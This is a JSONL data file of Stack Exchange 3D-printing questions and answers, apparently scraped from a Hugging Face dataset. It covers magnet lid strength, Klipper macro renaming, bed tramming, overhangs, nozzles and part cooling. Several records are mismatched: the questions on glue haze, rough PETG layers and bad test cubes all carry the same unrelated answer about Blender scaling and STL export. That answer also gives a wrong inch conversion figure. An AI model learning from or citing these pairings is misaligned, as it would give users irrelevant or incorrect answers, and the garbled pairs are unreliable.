"https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.814754"}
{"id": "hf_98c2689cf6db", "question": "<p>I want to use magnets to hold the lid of a box down tight enough to keep it relatively airtight (along with a rubber seal etc.), but I am not sure what strength of magnet to use, that will still allow it to be opened without causing damage either by having to be pried open or by crushing the print layers. I cannot seem to find any guide to how magnets are used for 3d printing at various strengths and I cannot afford to buy too many types that I am not then going to use.</p>\n<p>Any help that you can provide will be greatly appreciated.</p>\n", "question_body": "", "answer": "I had a similar experience using magnets to hold two plates together. Currently also building a device (3d-printed) that clamps together with magnets. For both of these scenarios, I typically start by looking at what size and force you need. I would look into maybe 3 options of different magnets to start with. It could be in the range of 0.6 lbs, 4lbs and 6lbs. Do you know how much the \"opening force\" would be? As in what would keep it opening? If its substantial, I could see more the 6lbs but this is a very very very rough estimate that honestly would be best supported with trying a few ranges of magnets first. Try McMasterCarr if you're in the US. They have affordable sized magnets that I've worked with, ranging from different sizes, thicknesses and magnetic forces.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.886651"}
{"id": "hf_946808068750", "question": "<p>I picked up a roll of Overture matte black PLA, and the surface of both the filament and the printed object <em>feel like</em> paper. This made me wonder if it contains wood-based fibers like &quot;wood PLA&quot; does, and if so, whether it's abrasive and harmful to the nozzle. In the past I wouldn't have cared, but I'm using a CHT now and would like to avoid ruining it since it's expensive and I don't have spares sitting around.</p>\n", "question_body": "", "answer": "You may be experiencing the feel of paper, which is typically a matte surface, when feel testing the printed item, as both would be matte. A search for your focus found one purchaser of this product (via Amazon) has\nleft an answer addressing this question\n. The answer is on the last page of Q/A and is accompanied by another answer suggesting the white filament is abrasive. One has to click \"see 2 more answers\" in order to locate the quoted answer.\nHis reply was that he has printed 8 spools and found no deterioration of his nozzle.\nNot any more than any other PLA. I've gone through 8 rolls of this PLA so\nfar with no noticeable degradation of my nozzle. D. DAmico · September\n30, 2021\nMy own suspicion is that the filament has a chemical additive to create the matte finish, rather than any particulate that might cause abrasion.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.923680"}
{"id": "hf_703a2d33e877", "question": "<p>On a PLA print where stringing has occurred, what is the best way to remove it during post processing?</p>\n<p>Should I simply cut it with a hobby knife and sand the surface or are the better techniques to use?</p>\n", "question_body": "", "answer": "Use a hobby knife with a chisel blade (straight edge perpendicular to handle, beveled on one side only).\nApply with beveled edge against workpiece. Raise the handle in small increments while stroking over the flaw until it is entirely removed.  This provides pretty good control to prevent gouging.\nAvoid sanding.\nThis method also works well for removing \"ribs\" caused by gaps in painter tape applied to print bed.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.964367"}
{"id": "hf_ed521ec7c1c7", "question": "<p>I'd like to force Klipper to perform power on (using <code>M80</code>) before homing. For this purpose I'm trying to override <code>G28</code>:</p>\n<pre><code>[gcode_macro G28]\nrename_existing: G28_BASE\ngcode:\n  M80\n  G28_BASE { rawparams }\n</code></pre>\n<p>But for some reason this does not work, I'm getting the following error:</p>\n<pre><code>G-Code macro rename of different types ('G28' vs 'G28_BASE')\n</code></pre>\n<p>Isn't <code>G28</code> overridable? Is there any other way to achieve the desired behavior?</p>\n", "question_body": "", "answer": "Because of the way parameters work differently (\n```\nSx\n```\nvs\n```\nNAME=x\n```\n) for gcode style commands vs Klipper extended ones, the rename has to be to the \"same type\" of command.\n```\nG28_BASE\n```\ndoes not fit the pattern to be considered a \"gcode style\" one. Use\n```\nG9028\n```\nor\n```\nG28.1\n```\nor something instead and it should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:18.988431"}
{"id": "hf_3350b40bdccb", "question": "<p>In every 3D print that I have seen, the bed should be leveled (manually or with some sensor-based system) on multiple points, pretty annoying because often when you reach the perfect distance on a point another point should be adjusted again repeating the procedure multiple time to have perfect leveling on all points.</p>\n<p>I'm wondering why height isn't just fixed with the optimal leveling.</p>\n", "question_body": "", "answer": "The point of \"leveling\" (tramming) the bed is to make it:\nsquare with the coordinate system of the printer so that it lies in a plane perpendicular to the direction of Z travel, and\na known distance from the nozzle tip at one point (and thus, due to (1), all points) in the plane at any given Z value.\nIn theory, if the machine were all preassembled and sufficiently/perfectly rigid, this could be done once at the factory and never need leveling again. However, even if that were possible, there's at least one factor that will throw you off: you're going to want to swap/replace nozzles, and they will not all be exactly the same length - especially if you use different nozzle diameters, styles, materials, from different manufacturers, etc. This is why, even with an ABL system, unless it performs probing using the nozzle tip itself, you always have to calibrate out the offset between the probe and the nozzle tip.\nIn practice, many machines (especially affordable ones) require final assembly by the consumer, which necessitates calibration. They also have parts which can warp or wear and require adjustment - especially POM V-roller wheels - which will then throw off the squareness of the bed with the rest of the frame.\nIf you find you're having to re-level often, something is wrong with your printer. You may have play in the Z-axis/gantry - on Ender 3 style printers with only one side driven, the undriven side tends to wander up/down unless you get everything tensioned perfectly, and this manifests as apparent loss of leveling. You may have\nadjustment wheels working themselves loose\n(watch the end to see final findings) that mess up your leveling (I've had good luck mitigating that with\nthis add-on\n). You may have an unreliable endstop switch (mine was acting up recently after years of use, and replacing it fixed the problem entirely).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.070906"}
{"id": "hf_eda0b8af07ec", "question": "<p>There are numerous topics found on first layers that do not adhere properly causing prints to fail or cause print quality defects.</p>\n<p>The advice is often to properly level or tram the build surface. How does one tram the build surface?</p>\n", "question_body": "", "answer": "Definition of leveling\nTramming, often referred to as \"leveling\" in the 3D printer world (\"tramming\" and \"leveling\" is used interchangeably, but \"tramming\" is the correct nomenclature), is the process of creating a 2D\nplane\nof the build surface that is parallel to the nozzle at the whole print area (usually the X-Y plane).\nWhy tramming?\nIn order to adhere the hot filament from the nozzle it is essential that the distance between the nozzle and the build surface is as constant as possible. Increase of the gap may cause the filament to not be squished enough and it may be dragged instead of deposited or create an insufficient bond to cause problems later in the print job when e.g. shrinkage of the object comes in play.\nHow to tram the surface?\nTo tram the build surface (a build surface comes in many shapes and forms, sheet of glass, bare aluminum plate, some sort of coated heated surface, etc.) most printers are equipped with at least three so-called \"leveling screws\". Why at least three? It takes a minimum of three screws to fixate a plane in space, more screws cause the bed to be over-defined or indeterminate, but with a flexible build surface it is quite common to have 4 screws although it is causing a\nstatically indeterminate system\n. So, these screws need to be adjusted as such that the build surface if parallel to the nozzle.\nFirst step is to home (\nWhat is homing? What is the purpose of homing?\n) the printer,\nhoming\nfrom the\ntag wiki\nreads:\nThe process of determining the location of a 3D printer nozzle in\nthree dimensions using a reference point (home location) is referred to\nas \"homing\". Homing should occur before every print and involves\nbringing the X, Y and Z-Axis motors to pre-defined limit locations\n(usually these are endstops). Pre-recorded homing data offset values\ndetermine the position of the build plate origin with respect to the\nendstop locations.\nOnce homed (with G-code\n```\nG28\n```\nor through the graphical user interface of the printer display) , the origin (0, 0, 0) of the printer is known, from this origin you can determine the level. Note that the X and Y is usually correct (if not, see\nHow to center my prints on the build platform? (Re-calibrate homing offset)\n) the Z offset depends on the height of the Z endstop and the leveling screws. For a surface that uses a sensor as endstop (see e.g.\nAutomatic Bed Leveling (ABL) with a sensor (BLTouch, inductive, capacitive), how does it work?\n) the offset is defined by G-code (\n```\nM851\n```\n) or through the user interface of the printer display. Note that automatic bed leveling (ABL) is not magic, you still need to provide a trammed bed that is as level as possible, the sensor merely scans the surface and adjusts for larger imperfections of the build surface. After homing, move the nozzle at a certain Z value to the corner of the origin, which is usually the front left) (0, 0, Z) or close to this corner (10, 10, Z), put a piece of paper (A4/Letter) on the build surface and lower the Z to 0 (or if you hit the build surface before you reach zero height, then lower the build surface) raise the build surface until you can feel the the paper drag slightly when pulled between the nozzle and build surface (alternatively you can use a feeler gauge, A4 paper is 0.08 to 0.11 mm thick, so a 0.1 mm gauge will do fine). To be sure that the carriage hasn't been moved by the tramming, issue a homing command and move to the corner to the right and repeat the process to crete a slight drag of the paper when pulled between the nozzle and build surface. Note that tramming this point may have influenced the first point. Now repeat the homing and moving (for corners back right and back left) to start over again at the front left corner and repeating the whole process at least one to two times. This iterative process will deliver a trammed bed, the bed should now be parallel to the nozzle.\nTrammed, but filament not adhering...\nOnce trammed the build surface should be parallel to the nozzle, if the distance (usually paper thickness) is too far or too close, adhesion or first layer deposition may fail or cause surface defects like\nripples\n. If not adhering the initial gap between the nozzle and the build surface (paper thickness) might be too big, making this smaller may help squish the filament more so that it adheres better to the build surface. Alternatively use an adhesive in between the build surface and the first layer, nowadays there are multiple dedicated sprays and liquids available, but some house hold product like wood glue, glue sticks and\nhair sprays\ncould be used.\nBuild surface cannot or is difficult to tram\nWhen the build surface isn't perfectly flat, tramming is a challenge, or doesn't provide a 2D plane at a fixed distance of the nozzle. In such cases, scanning the build surface and adjusting during printing might help to get the filament to adhere properly; this process is called automatic bed leveling or ABL (see\nAutomatic Bed Leveling (ABL) with a sensor (BLTouch, inductive, capacitive), how does it work?\n). An alternative is UBL (see\nWhat is ABL or UBL? Is this the same?\n).\nTramming frequently?\nThe frequency of tramming depends on the quality and (mis)use of the printer to maintain the 2D plane parallel to the nozzle. For good quality printers the tramming is performed very seldom.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.095083"}
{"id": "hf_61be32f29e96", "question": "<p>I have an Ender 5 Pro with a flexible build plate (The factory default one).</p>\n<p>There are multiple extremely thin tracks of melted PLA all over it. Too thin to easily peal off when cooled. Thin enough that you can run your finger over them and barely know that they are there.</p>\n<p>What is the best way to clean them off other than simply brut forcing them with a scraper and risking damaging the surface.</p>\n<p>Rubbing with IPA and a cloth isn't enough.</p>\n<p>I have a plastic razor that's normally used for removing vinyl decal from vehicles without scratching the paint, would that be useful, or maybe just scrubbing for an hour with a nail brush?</p>\n", "question_body": "", "answer": "TL;DR:\nPrint more PLA on top of them, and pull it off together.\nPreparation\nFirst, of course, clean it well with IPA. This will both ensure there's no oil or other material on top of the PLA that will prevent it from bonding well with new PLA, and start to work underneath it to get it loose.\nPrinting\nThen, print! Do a 2- or 3-layer square covering the whole buildplate if you need to, or just smaller ones in the affected areas. They should bond to whatever is there and pull it up when you peel them off.\nPrevention\nTo avoid this happening in the future,\nfix your bed leveling\n. The type of tracks that are nearly impossible to remove by themselves normally come from printing with the nozzle so low that the material is forced entirely between the texture irregularities of the build surface, with no significant layer on top, and this means your bed is at least a whole layer-height too high relative to the nozzle.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.121107"}
{"id": "hf_38e460cdc676", "question": "<ol>\n<li><p>Is it possible to 3D print multiple 0.1 mm high layers with a 0.4 mm diameter nozzle in FDM while ensuring fidelity to the set layer height? The raster width is set at 0.4 mm and I am not touching that. The part thickness is 3 mm, so 30 layers of 0.1 mm have to be deposited for the completion of the print job. My polymer is PLA.</p>\n</li>\n<li><p>If not, should I be using a 0.2 mm diameter nozzle for this purpose?</p>\n</li>\n<li><p>Can a 0.4 mm print nozzle print rasters with higher width (0.5 mm, 0.6 mm, etc.)?</p>\n</li>\n</ol>\n", "question_body": "", "answer": "The\ngeneral consensus for nozzle diameter versus layer height\nis to limit the layer thickness to eighty percent of the nozzle diameter. For a 0.4 mm nozzle, one usually limits the layer to 0.3 mm. The printer on which the nozzle is installed will determine the minimum layer thickness, often a typical value of 0.10 mm. I have printed successfully to 0.10 mm layer thickness with a 0.40 mm nozzle.\nThe linked site says just about the same as above, but also provides useful information regarding appearance, speed, strength, etc.\nWith a \"next size up\" nozzle of 0.6 mm, you'd want to limit the layer height to 0.48 mm but you might get away with 0.50 mm layers as there is some wiggle woom.\nFor 0.8 mm nozzle, you can get your 0.60 mm layers as the max for that nozzle is 0.64 mm.\nThe article also references that one can print wider than nozzle dimensions by increasing the extrusion factor, which may go by other terms, depending on the slicer used.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.157270"}
{"id": "hf_6859d38871d2", "question": "<p>I'm working on a gadget a bit like a jewelry box. I want the lid on a hinge. Are 3d printed hinges robust enough for daily use long term? Perhaps with a metal pin?</p>\n<p>I want to incorporate the hinge into the design but my thinking is that it would be a waste of time if the hinge will break as I'd need to reprint the whole gadget.</p>\n", "question_body": "", "answer": "More detailed information would be valuable. A hinge the size of a soft drink can is going to be stronger than that of a pencil, generally speaking.\nA substantial portion of determining the strength of a specific printed object relies on the layer orientation and of the material from which the object is printed.\nConsider to examine others' creations on sites such as Thingiverse and PrusaPrinters to see how the result fare against your objectives. I've noted that the better designs will have substantial wall thickness to the barrel portion of the hinge. Additionally, if one can print the hinge with the cylinder axis oriented vertically, the layer lines will \"encompass\" the pivot. This provides the better strength characteristic of the layer.\nThe pin aspect is not as important when considering strength, although a 3D printed pin can be weak if printed vertically.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.181491"}
{"id": "hf_5072d107555b", "question": "<p>I love the idea of the XYZ test cube to help diagnose my bad prints.   I’m able to find online very common print issues however am looking for a resource that is more extensive. Often I run into a situation where my issue is not covered.</p>\n<p>Would be great if there was a resource that had pictures of numerous bad or less than ideal XYZ prints with cause and fix for each. I’m thinking of more than 50 examples.</p>\n<p>Does anyone know of such a resource?</p>\n<p><a href=\"https://i.stack.imgur.com/aogym.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/aogym.jpg\" alt=\"My current unknown bad XYZ print \" /></a></p>\n", "question_body": "", "answer": "Make sure to set the scale properly for your use case!\nIn CAD, you define your measurement space in either Inch or in Millimeter units, and that is your grid. In blender, the native unit is the meter.\nThis can be easily converted in exporting (remember to set it to scale!), but it is best to just set the measurement scale to actually match what you design: if you want to design a 5 mm hole, set your scale to Millimeters and make sure you export in millimeters. If you want to design in meters (maybe you design a building), then work in meters, and set your export scale in the end so that 1 meter actually is represented as 1 meter - or rather as 1000 millimeters.\nThe STL in the end will not know the difference\n: it all is defined in scales of\nunitary units\n, and it doesn't even know if it was originally designed in meters, inch or angström. The typical slicer expects the unit to be either millimeters or inch, so any scaling of the exported model that does not result in units equivalent to 1 mm or 24.5 mm is bad procedure - converting between these two types is just scaling the model by 2450%.\nMake sure to design closed manifolds made up of triangles!\nWhen working with blender, it is very easy to leave the item in a shape that contains multiple intersecting, non-manifold surfaces and areas of inverted surfaces. While\ninterecting shells\nis not a problem (the slicers can handle those by unionizing the item), the intersection usually covers up the non-manifold areas, making them hard to spot.\nAs a result, before finalizing your project, I suggest follow this procedure:\nIn Blender, turn on the visual for the normals of surfaces. If an area does not look like a hedgehog after that, the normals in that area are reversed and you need to flip the surfaces there or re-mesh it.\nTriangulate the surface using the triangulate modifier. This is to spot artifacts from conversion to STL early and be able to fix them: STL only knows triangles, while blender knows\nbent\nn-gons.\nAdd a new object. A cube with side length 1.\nDo a test export to STL with scale 1, which also contains the 1-unit cube as an extra shell.\nImport the model into a software such as meshmixer, that has a command to separate shells.\nSeparate the item to all shells. In Meshmixer this is in analyze, separate shells.\nAfter separating the shells, measure your 1-unit cube. If it is not 1 mm, calculate your scaling factor. It should be a multiple of 10.\nNext, you should check each shell for gaps or other errors. In meshmixer, the automatic analyze feature points to these areas with red, blue and magenta lines.\nFix the marked errors in blender, then return to the test export. This time use the proper scaling factor. Repeat until no errors remain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.228619"}
{"id": "hf_e13bdf9501e2", "question": "<p>Using cyanoacrylate to glue PLA parts sometimes leaves a white residue or haze near the glue locations.  Is there an easy way to remove it?</p>\n<p>I've tried water and alcohol swabs but after drying the haze remains.</p>\n<p><a href=\"https://i.stack.imgur.com/cw1pu.jpg\" rel=\"nofollow noreferrer\" title=\"Photo showing white residue\"><img src=\"https://i.stack.imgur.com/cw1pu.jpg\" alt=\"Photo showing white residue\" title=\"Photo showing white residue\" /></a></p>\n", "question_body": "", "answer": "Make sure to set the scale properly for your use case!\nIn CAD, you define your measurement space in either Inch or in Millimeter units, and that is your grid. In blender, the native unit is the meter.\nThis can be easily converted in exporting (remember to set it to scale!), but it is best to just set the measurement scale to actually match what you design: if you want to design a 5 mm hole, set your scale to Millimeters and make sure you export in millimeters. If you want to design in meters (maybe you design a building), then work in meters, and set your export scale in the end so that 1 meter actually is represented as 1 meter - or rather as 1000 millimeters.\nThe STL in the end will not know the difference\n: it all is defined in scales of\nunitary units\n, and it doesn't even know if it was originally designed in meters, inch or angström. The typical slicer expects the unit to be either millimeters or inch, so any scaling of the exported model that does not result in units equivalent to 1 mm or 24.5 mm is bad procedure - converting between these two types is just scaling the model by 2450%.\nMake sure to design closed manifolds made up of triangles!\nWhen working with blender, it is very easy to leave the item in a shape that contains multiple intersecting, non-manifold surfaces and areas of inverted surfaces. While\ninterecting shells\nis not a problem (the slicers can handle those by unionizing the item), the intersection usually covers up the non-manifold areas, making them hard to spot.\nAs a result, before finalizing your project, I suggest follow this procedure:\nIn Blender, turn on the visual for the normals of surfaces. If an area does not look like a hedgehog after that, the normals in that area are reversed and you need to flip the surfaces there or re-mesh it.\nTriangulate the surface using the triangulate modifier. This is to spot artifacts from conversion to STL early and be able to fix them: STL only knows triangles, while blender knows\nbent\nn-gons.\nAdd a new object. A cube with side length 1.\nDo a test export to STL with scale 1, which also contains the 1-unit cube as an extra shell.\nImport the model into a software such as meshmixer, that has a command to separate shells.\nSeparate the item to all shells. In Meshmixer this is in analyze, separate shells.\nAfter separating the shells, measure your 1-unit cube. If it is not 1 mm, calculate your scaling factor. It should be a multiple of 10.\nNext, you should check each shell for gaps or other errors. In meshmixer, the automatic analyze feature points to these areas with red, blue and magenta lines.\nFix the marked errors in blender, then return to the test export. This time use the proper scaling factor. Repeat until no errors remain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.253938"}
{"id": "hf_80c63d8c51dd", "question": "<p>I own a spool of PETG and I have been having major print quality issues: layer offsets, chunks of 3d print strewn across the buildplate and other things. I traced these effects to a single culprit: rough layers. I don't know how to fix this. I haven't had this issue at all with all of my other PETG filament colors. And the buildplate height is just where it needs to be, so why is this happening?</p>\n<h3>Print settings</h3>\n<ul>\n<li>Layer height: 0.23 mm</li>\n<li>Extruder: 235 °C</li>\n<li>Bed: 80 °C</li>\n<li>Retraction length: 6 mm</li>\n<li>Retraction extra restart length: 0.3 mm</li>\n<li>Z-Hop height: 0.25 mm</li>\n<li>Base print speed: 45 mm/s</li>\n<li>Extrusion ratio: 106%</li>\n</ul>\n", "question_body": "", "answer": "Make sure to set the scale properly for your use case!\nIn CAD, you define your measurement space in either Inch or in Millimeter units, and that is your grid. In blender, the native unit is the meter.\nThis can be easily converted in exporting (remember to set it to scale!), but it is best to just set the measurement scale to actually match what you design: if you want to design a 5 mm hole, set your scale to Millimeters and make sure you export in millimeters. If you want to design in meters (maybe you design a building), then work in meters, and set your export scale in the end so that 1 meter actually is represented as 1 meter - or rather as 1000 millimeters.\nThe STL in the end will not know the difference\n: it all is defined in scales of\nunitary units\n, and it doesn't even know if it was originally designed in meters, inch or angström. The typical slicer expects the unit to be either millimeters or inch, so any scaling of the exported model that does not result in units equivalent to 1 mm or 24.5 mm is bad procedure - converting between these two types is just scaling the model by 2450%.\nMake sure to design closed manifolds made up of triangles!\nWhen working with blender, it is very easy to leave the item in a shape that contains multiple intersecting, non-manifold surfaces and areas of inverted surfaces. While\ninterecting shells\nis not a problem (the slicers can handle those by unionizing the item), the intersection usually covers up the non-manifold areas, making them hard to spot.\nAs a result, before finalizing your project, I suggest follow this procedure:\nIn Blender, turn on the visual for the normals of surfaces. If an area does not look like a hedgehog after that, the normals in that area are reversed and you need to flip the surfaces there or re-mesh it.\nTriangulate the surface using the triangulate modifier. This is to spot artifacts from conversion to STL early and be able to fix them: STL only knows triangles, while blender knows\nbent\nn-gons.\nAdd a new object. A cube with side length 1.\nDo a test export to STL with scale 1, which also contains the 1-unit cube as an extra shell.\nImport the model into a software such as meshmixer, that has a command to separate shells.\nSeparate the item to all shells. In Meshmixer this is in analyze, separate shells.\nAfter separating the shells, measure your 1-unit cube. If it is not 1 mm, calculate your scaling factor. It should be a multiple of 10.\nNext, you should check each shell for gaps or other errors. In meshmixer, the automatic analyze feature points to these areas with red, blue and magenta lines.\nFix the marked errors in blender, then return to the test export. This time use the proper scaling factor. Repeat until no errors remain.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.280061"}
{"id": "hf_b69b6d7cf1a6", "question": "<p>I am new at this and maybe my model is not the best, I adapted it for another one actually. Can you tell me why I can't get the holes printed? I already checked the faces and they are all in the correct orientation (I think)</p>\n<p>What happens is that I start printing with the holes facing down and they are not printed at all. I never let it keep going for long but it seems to be completely filled inside.</p>\n<p>You can check the file <a href=\"https://ufile.io/9favbj6e\" rel=\"nofollow noreferrer\">here</a>.</p>\n<p><a href=\"https://i.stack.imgur.com/lSvn0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lSvn0.png\" alt=\"enter image description here\" /></a></p>\n<p><a href=\"https://i.stack.imgur.com/b1PSD.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/b1PSD.png\" alt=\"enter image description here\" /></a></p>\n", "question_body": "", "answer": "The overall appearance is that the normals are \"normal,\" that you have no reversed facets, but there are discontinuities within the model that Meshmixer and Netfabb show as failure points. Windows 10 3DBuilder also attempts a repair which fills in the holes.\nThe Meshmixer capture image shows red lines and points at the flaws in the model. Both above programs fill the faces, which works fine on the cylinder, but fills in the plane where the holes reside, as well as removes the internal holes/cylinders, preventing a simple plane cut repair.\nAdditional examination of the original model shows an internal cylinder formed axially on the end face red warning markers in the image above.\nI used Rhino3D v6 to slip inside, select the cylinder and remove it. Because the cylinder is \"inside\" the overall model, there's no inside face and outside face, causing the software to glitch.\nOn the red line along the circumference of the cylinder, there's an internal disk/disc with an internal diameter to match the previously removed internal cylinder. As it also resides within the overall model, the same trouble applies: no true inside/outside surface for the software to comprehend.\nOnce these were removed, a problematic set of errors appeared. I'm working on that. Work completed. Windows 10 3DBuilder has a pretty amazing repair facility, once the deep stuff is cleaned away. The end result passes the Meshmixer Inspector test and I suspect will work for you. The cylinder appears to be 37 mm in diameter (about an inch and a half) which is rather tiny, but with the flaws repaired, will scale up just fine.\nIt loaded into Simplify3D slicer with no errors and appears will print nicely, although with support required along the beveled portion of the cylinder.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.304882"}
{"id": "hf_58fdd41cef00", "question": "<p>What are the real overhang limits? I see a lot online about 45 %, then up to 60 %, but I'm routinely doing them at up to 90 % for &quot;shortish&quot; distances and 80%+ for several centimeters at a time. I haven't tried to see how far I can do it, since I don't have filament to waste on that sort of thing.</p>\n<p>It's making me wonder how believable all the YouTube and website experts are. Same thing with stringing, they all talk about it on Ender 3's but this print has been going for 25 hours and has maybe two tiny strings.</p>\n<p>This is the second time I've printed this same STL with no supports.</p>\n<ul>\n<li>0.2 mm layer height</li>\n<li>Ender 3 Pro</li>\n<li>Generic PLA</li>\n</ul>\n<p><a href=\"https://i.stack.imgur.com/IqHWF.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/IqHWF.jpg\" alt=\"Overhang\" /></a></p>\n", "question_body": "", "answer": "It is very difficult to determine a definitive number/value for the overhang angle, this is very dependent on the temperature, speed, material, nr. of walls amount of cooling fan percentage and the effectivity of the fan duct and your object geometry. Probably more settings are applicable.\nYou could find out what the specific values for you printer and your settings are by printing an overhang test, e.g. like\nthis one\n:\nSuch a test will give you definitive answers on the overhang angle for your specific slicer settings and machine capabilities.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.343069"}
{"id": "hf_ba5ae4015475", "question": "<p>I want to print out a flat object without any support structure straight onto the build plate of my ender 5. It's going to be PLA and I need it to be thin enough to still be flexible.</p>\n<p>I don't have a picture available, but imagine that I wanted to print out the Coke Cola and then wrap it around a bland soda can, so that the logo is raised up slightly?</p>\n<p>Alternatively, what is the best layer height to use, and how many layers should I use?</p>\n", "question_body": "", "answer": "With PLA you can just heat it to curve around the object. I've done this with up to 2mm. Real easy with 1mm.\nI haven't tried thicker but assume it would work ok.\nYou'd have to glue it though to make it stick. My attempts were just to shape the prints, I didn't want them sticking so I shaped them around a glass bottle.\nIf you want it flexible in it's own right, then I suggest 2 * 0.2mm layers. I have a large 2 layer print in front of me that bends easily.\nThis can be rolled up into a tube, but as soon as you let go it will return to flat.\n1 layer is even more flexible but tears along the lines with a bit of effort. So if you want it really flexible I suggest you print 1 layer at slightly lower than normal nozzle height to really get the lines melded together. Or a bit hotter than normal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.379629"}
{"id": "hf_508b8dc76995", "question": "<p>Questions like this are <em><strong>usually</strong></em> not allowed but since the price of a brass nozzle in Switzerland is 15.90 and the average price of a nozzle from Alibaba or AliExpress is less than 0.10, and nozzles are something you exchange frequently the issue becomes of such magnitude that we <em><strong>need</strong></em> to have a simple answer to the very straightforward question:</p>\n<p>Do nozzles from China offer the same quality and results?</p>\n", "question_body": "", "answer": "Up until this year, I used the cheap nozzles - the original that came with my Ender 3, and both the ones that were supposedly by Creality and appeared identical to it, and similarly cheap ones off Amazon. I never had any problem with them that I attributed to nozzle quality, but I went through them fairly quickly since they were so cheap, just swapping one out if it got a lot of buildup that was hard to clean off rather than bothering to clean it well. I would say they are perfectly usable.\nHowever, if you're already used to paying more for a nozzle, I would\nstrongly\nrecommend ditching plain nozzles and going with the Bondtech CHT. The performance and quality improvement from it is\ndrastic\n. It gives more improvement to flow than going from a standard size block to a volcano size block (see\nStefan's tests on CNC Kitchen\n), and a lot less backpressure, so you can get by with lower values for Pressure Advance/Linear Advance, which put less stress on the extruder and get more consistent extrusion. In terms of ratio of printing performance boost to price (not to mention ease of installation), it's probably the single best upgrade you can make to a printer. And while it's not a special durable material, it is coated, which makes it a little bit better than plain brass.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:19.404106"}
{"id": "hf_390a70540db2", "question": "<p>In my previous research for mods for my Ender 3v2, I came across the topic of part cooling mods. The two most common are the Petsfang and Hero Me sets.</p>\n<ol>\n<li><p>What are the pros and cons of third-party/DIY part cooling mods?</p>\n</li>\n<li><p>What benefit does having a third-party/DIY part cooling mod provide?</p>\n</li>\n</ol>\n", "question_body": "", "answer": "Part cooling is essential to print at any decent\nvertical speed\n(layers per second), which is critical if you do rapid prototyping of small parts or vase mode prints. This is because you can't (repeatedly) print on top of material that hasn't yet cooled enough to be rigid; if you do, after a few layers, you'll find nothing is in the right place and it's all a bunch of goo getting dragged around by the nozzle. In fact, if the part is small enough you might not be able to print it at all. That's because, while slicers have features to slow down to guarantee a minimum layer time for cooling purposes, if the hot nozzle sticks around in the vicinity of a tiny part the whole time, just the heat from the nozzle will keep it from properly solidifying.\nThe Ender 3 (and as far as I know, the v2 as well, along with just about every other Creality printer) has\npitiful\nstock cooling. It's off-center from the nozzle, and 